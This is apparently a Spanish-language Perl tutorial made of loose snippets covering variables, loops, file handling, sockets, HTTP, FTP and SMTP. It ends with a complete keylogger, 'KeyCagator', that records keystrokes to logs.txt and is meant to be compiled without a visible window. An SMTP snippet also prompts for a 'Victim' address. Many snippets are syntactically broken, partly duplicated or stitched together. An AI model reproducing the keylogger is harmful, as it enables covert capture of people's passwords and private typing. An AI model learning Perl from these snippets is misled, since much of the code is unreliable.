c:/scripts
cd c:/scripts
perl simple.pl
print "hola mundo";
$hola = "hola";
print $hola
print "hola $hola";
print 'hola $hola';
my $hola = $ARGV[0];
print $hola;
perl script.pl hola
my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];
print $hola1 $hola2\n";
perl script.pl hola hola
my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];
my $hola3 = $ARGV[2];
print $hola1 $hola2 $hola3\n";
perl script.pl hola hola hola
my @vida = ("nada","nada");
for my $d(@vida) {
print $d."\n";
}
print @vida[0]; #muestra nada
print @vida[1]; #muestra el segundo dato que tambien es nada
print @vida;
%vida = (
Doddy => "Idiota",
Hackman => "Patetico"
);
for my $data(keys %vida) {
print "$data es un ".$vida{$data}."\n";
}
Doddy es un Idiota
Hackman es un Patetico
$hola = "hola";
$chau = "chau";
$todo = $hola.$chau;
print $todo;
print $hola." estoy bien pero bueno ".$chau;
hola estoy bien pero bueno chau
#hola
#simple hola
print "hola";
print "hola"; #simple hola en el lado derecho
print "estas bien :";
$rta = <stdin>;
print $rta;
$hola = "hola";
chop($hola);
print $hola
hol
print "estas bien : ";
$c = <stdin>;
$test = chomp $c;
print $test;
my $code = "hola estoy bien";
if ($code=~/hola (.*) bien/ig) {
print $1;
}
$hola = "hola";
$hola1 = "hola";
if ($hola1 == $hola) {
print "bien";
} else {
print "mal";
}
if ($hola1 eq $hola) {
print "bien";
} else {
print "mal";
}
$uno = "1";
if ($uno eq "1") {
print "es uno";
}
elsif ($uno eq "2") {
print "es dos";
}
elsif ($uno eq "3") {
print "es tres";
}
else {
print "es nada";
}
my $numero = "0";
while ($numero < 3) {
$numero++; #Aumenta el numero
print "voy bien\n";
}
while(true) {
#Nunca morire
}
my $numero = 0;
do {
$numero++;
print $numero."\n";
} until ($numero eq "3");
1
2
3
for my $palabra(@total) {
print $palabra."\n";
}
for my $numero(1..100) {
print $numero."\n";
}
for (1..30) {
print "hola";
}
foreach $word(@words) {
print $word."\n";
}
$uno = "1";
unless ($uno eq "1") {
print "no es uno";
}
my $pa = "hola:chau";
@todo = split(":",$pa);
print "@todo[0] y @todo[1]\n";
hola y chau
@todo = ("hola","chau");
sub hola {
print $_[0];
}
hola("hola");
hola("hola");
&hola("hola");
sub hola {
return ($_[0],$_[1]);
}
$var1,$var2 = hola("hola","chau");
$_[0] ,$_[1],$_[2] # Se cuenta a partir del cero
opendir DIR,"/";
my @archivos = readdir DIR;
close DIR;
for my $files(@archivos) {
}
if (-f $files) { #Verificamos que sea un archivo
print "[Files] : $files\n";
}
if (-d $files) { #Verificamos que sea un directorio
print "[DIR] : $files\n";
}
chdir("C:/xampp");
open (FILE,">>"."yo.txt");
print FILE "hola";
close FILE;
open (LEER,"yo.txt)";
@text = <LEER>;
close FILE;
for my $word(@text) {
print $word."\n";
}
unlink("yo.txt");
IO::Socket
use IO::Socket;
my $socket = IO::Socket::INET->new(
PeerAddr=>"localhost", #Host donde conectarnos
PeerPort=>"80", #Puerto donde bla bla
Proto=>"tcp"); #Protocolo que queremos
print $socket "GET /"."\r\n";
read $socket,$total,"1000";
print $total;
use LWP::UserAgent;
use HTTP::Request::Common;
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
my $web = "http://www.google.com.ar";
my $contenido = $nave->request (GET $web)->content;
print $contenido;
use LWP::Simple;
my ($url,$file) = ($ARGV[0],$ARGV[1]);
print "[+] Start the download\n";
if (getstore($url,$file)) {
print "[+] Oh Right\n";
} else {
print "[+] Fail\n";
}
use Net::FTP;
$ftp = "localhost";
$user = "yo";
$pass = "si";
if (my $socket = Net::FTP->new($ftp)) {
if ($socket->login($user,$pass)) {
#Todo marcha muy bien xDD
}
}
menu:
print "comando : ";
chomp(my $comando = <stdin>);
if ($comando=~/cd (.*) {
$socket->cwd($1); #Cambiamos al directorio que la expresion regular marca
}
if ($comando=~/pwd/) {
print $socket->pwd(); #mostramos el directorio actual
}
goto menu;
Win32::Process::List
ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd
use Win32::Process::List;
my $new = Win32::Process::List->new();
my %process = $new->GetProcesses();
for my $pid (keys %process) {
print "[+] PrOCESO : ".$process{$pid}."\n";
print "[+] PID: ".$pid."\n\n";
}
use Win32::API;
my $test = new Win32::API("user32", "GetAsyncKeyState","N", "I");
while(true) {
#Nada me detiene ni me destruye ¿No? xDDD
}
for my $num(0x30..0x39) { #Numeros
if (toma($num)) {
print chr($num);
}
}
for my $num(0x41..0x5A) { #letras
if (toma($num)) {
print chr($num);
}
}
sub toma {
return($come->Call(@_) & 1);
}
Net::SMTP
use Net::SMTP;
print "[+] Your Mail :";
chomp(my $mail = <stdin>);
print "[+] Victim : ";
chomp(my $target = <stdin>);
my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");
$send->mail($mail);
send->to($target);
$send->data();
$send->datasend("To:".$target."\n"."From:".$mail."\n"."Subject:"."Hola"."\n"."Chau"."\n\n");
$send->dataend();
$send->quit();
perl2exe script.pl
perl2exe -gui script.pl
"Strawberry Perl is a perl environment for MS Windows containing all you need to run and develop
perl applications. It is designed to be as close as possible to perl environment on UNIX systems.
It includes perl binaries, compiler (gcc) + related tools, all the external libraries (crypto, graphics, xml...),
all the bundled database clients and all the fresh CPAN goodness that you expect from Strawberry Perl."
Strawberry Perl es un entorno de perl para MS Windows que contiene todo lo necesario para
ejecutar y desarrollar aplicaciones de Perl. Se ha diseñado para ser lo más cerca posible al ambiente perl
en sistemas UNIX.
Incluye binarios perl, compilador (gcc) + las herramientas relacionadas, todas las bibliotecas externas
(Crypto, gráficos, XML ...), todos los paquetes de base de datos los clientes y toda la bondad fresca
CPAN que usted espera de Strawberry Perl.
opendir DIR,"/";opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";#!/usr/bin/perl -w
opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
my @archivos = readdir DIR;
close DIR;
for my $files(@archivos) {
if (-f $files) { #Verificamos que sea un archivo
print "[Files] : $files\n";
}
if (-d $files) { #Verificamos que sea un directorio
print "[DIR] : $files\n";
}
}open (LEER,"yo.txt)";
open (LEER,"yo.txt");
close FILE;
close LEER;
#!/usr/bin/perl -w
chdir("c:/Users/NOMBRE_DE_TU_USUARIO/Desktop");
open (LEER,"yo.txt");
@text = <LEER>;
close LEER;
for my $word(@text) {
print $word;
}
#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010
use Win32::API;
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num(0x30..0x39) {
if (dame($num)) {
savefile("logs.txt",chr($num));
}
}
for my $num(0x41..0x5A) {
if (dame($num)) {
savefile("logs.txt",chr($num));
}
}
}
sub dame {
return($come->Call(@_) & 1);
}
sub savefile {
open (SAVE,">>".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
#Mail : lepuke[at]hotmail[com]
#Blog : doddy-hackman.blogspot.com
# ¿ The End ?
use Win32::API;